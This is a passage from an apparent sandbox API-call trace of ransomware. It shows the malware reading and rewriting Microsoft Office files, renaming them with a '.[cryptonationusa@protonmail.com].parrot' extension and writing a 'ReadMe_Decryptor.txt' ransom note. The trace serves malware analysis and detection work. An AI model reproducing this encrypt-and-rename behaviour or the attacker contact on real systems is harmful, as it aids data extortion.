ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.441] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0203.441] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0203.441] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0203.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0203.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.442] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.444] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xca60, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xca60, lpOverlapped=0x0) returned 1 [0203.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.446] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub10.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub10.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.456] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.456] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.459] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.459] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x69e0, lpOverlapped=0x0) returned 1 [0203.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.461] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub11.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB11.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub11.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.468] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.469] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.470] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.470] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf254, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf254, lpOverlapped=0x0) returned 1 [0203.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.471] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1a.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1A.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1a.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.481] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.483] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.483] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3574, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3574, lpOverlapped=0x0) returned 1 [0203.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0203.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0203.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0203.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0203.484] GetLastError () returned 0x0 [0203.484] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0203.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0203.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0203.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0203.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0203.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0203.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0203.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0203.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0203.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0203.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0203.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0203.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31ac460 [0203.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0203.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31af3f8 [0203.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0203.487] WriteFile (in: hFile=0x27c, lpBuffer=0x31af400*, nNumberOfBytesToWrite=0x3698, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31af400*, lpNumberOfBytesWritten=0x18eed4*=0x3698, lpOverlapped=0x0) returned 1 [0203.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31af3f8 | out: hHeap=0x5b0000) returned 1 [0203.490] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x368c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.490] CloseHandle (hObject=0x27c) returned 1 [0203.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0203.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293178 [0203.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0203.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1b.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1b.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0203.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0203.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0203.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0203.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0203.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0203.493] GetFileType (hFile=0x27c) returned 0x1 [0203.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0203.504] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.504] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.505] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.505] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc8f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc8f8, lpOverlapped=0x0) returned 1 [0203.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0203.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0203.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0203.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0203.507] GetLastError () returned 0x0 [0203.508] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0203.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0203.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c44e0 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c7478 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c44e0 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31a0458 [0203.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c7478 | out: hHeap=0x5b0000) returned 1 [0203.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31d64b0 [0203.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0203.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31e04e0 [0203.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0203.512] WriteFile (in: hFile=0x27c, lpBuffer=0x31e0500*, nNumberOfBytesToWrite=0xca18, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31e0500*, lpNumberOfBytesWritten=0x18eed4*=0xca18, lpOverlapped=0x0) returned 1 [0203.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e04e0 | out: hHeap=0x5b0000) returned 1 [0203.515] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xca10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.515] CloseHandle (hObject=0x27c) returned 1 [0203.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0203.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293178 [0203.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0203.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2a.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2A.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2a.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0203.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0203.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0203.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0203.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0203.521] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.521] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 